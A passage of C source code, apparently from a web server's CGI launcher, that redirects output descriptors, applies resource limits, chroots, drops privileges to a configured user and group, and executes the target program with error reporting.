1); s_close(stdout_fd); } /* Move Stderr_Fd to fd #2 */ if (stderr_fd != -1 && stderr_fd != 2) { s_dup2(stderr_fd, 2); s_close(stderr_fd); } /* in case we have vmem limit ...*/ if ( vmem != 0 ) { rlp.rlim_cur=vmem; rlp.rlim_max=vmem; setrlimit(RLIMIT_VMEM,&rlp); } /* and do we have a fd_max ? */ if ( fd_max != 0 ) { rlp.rlim_cur=fd_max; rlp.rlim_max=fd_max; setrlimit(RLIMIT_NOFILE,&rlp); } /* and do we have CPU-time-limit ? */ if ( maxcputime != 0 ) { rlp.rlim_cur=maxcputime; rlp.rlim_max=maxcputime; setrlimit(RLIMIT_CPU,&rlp); signal(SIGXCPU,exit); /* set abort on SIGXCPU :-) */ } /* in case we have nicevalue, set it ! */ if ( niceval != 0 ) s_nice(niceval); /* In case we have a newroot ... */ if ( cgi_newroot != NULL ) { s_chdir(cgi_newroot); seteuid(0); if ( s_chroot(cgi_newroot) == -1 ) { err = "chroot()"; goto Fail; } if ( cgi_basedir == NULL ) { if ( rkmultimode || softvirtserver ) rpath=strchr(path,'/'); else rpath=path; if ( softvirtserver && rkmultimode && rpath!=NULL ) rpath=strchr(rpath+1,'/'); } else rpath=path; } else /* we do not have chroot */ { if (wdir) { s_chdir(wdir); if ( path[0] != '/' ) rpath=path+strlen(wdir)+1; else rpath=path; } else rpath=path; } /* Fix the user and group id's for the process */ if ((uid != -1 || gid != -1) && getuid() == 0) { if (uid == -1) uid = geteuid(); if (gid == -1) gid = getegid(); seteuid(0); setegid(getgid()); if (gid != -1) { s = setgid(gid); if (s < 0) { err = "setgid()"; goto Fail; } } if (uid != -1) { s = setuid(uid); if (s < 0) { err = "setuid()"; goto Fail; } } } s_execve(rpath, argv, envp); err = "s_execve()"; Fail: err2 = strerror(errno); s_write(2, "proc_run(\"", 10); s_write(2, rpath, strlen(rpath)); s_write(2, "\") failed: ", 11); s_write(2, err, strlen(err)); s_write(2, ": ", 2); s_write(2, err2, strlen(err2)); s_write(2, "\r\n", 2); _exit(1); } return pid; }